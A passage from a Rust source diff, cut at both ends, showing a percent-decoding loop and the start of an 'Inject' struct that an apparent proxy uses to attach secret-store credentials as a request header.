mut bytes = seg.bytes(); + while let Some(b) = bytes.next() { + if b != b'%' { + out.push(b); + continue; + } + let hi = (bytes.next()? as char).to_digit(16)?; + let lo = (bytes.next()? as char).to_digit(16)?; + out.push((hi * 16 + lo) as u8); + } + Some(out) +} + +// ─── Credential injection ───────────────────────────────────────────────────── + +/// The header a route attaches to permitted requests. +/// +/// Holds only the secret's *label*; the value is looked up in the secret store +/// per request so background refreshes take effect immediately. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Inject { + /// Header name, validated once at config load so the per-request strip + /// and insert cannot fail on it. + pub header: HeaderName, + /// Literal text before the secret (e.g. `"Bearer "`). + pub prefix: String, + /// Literal text after the secret. + pub suffix: String, + /// Label of the `[secrets.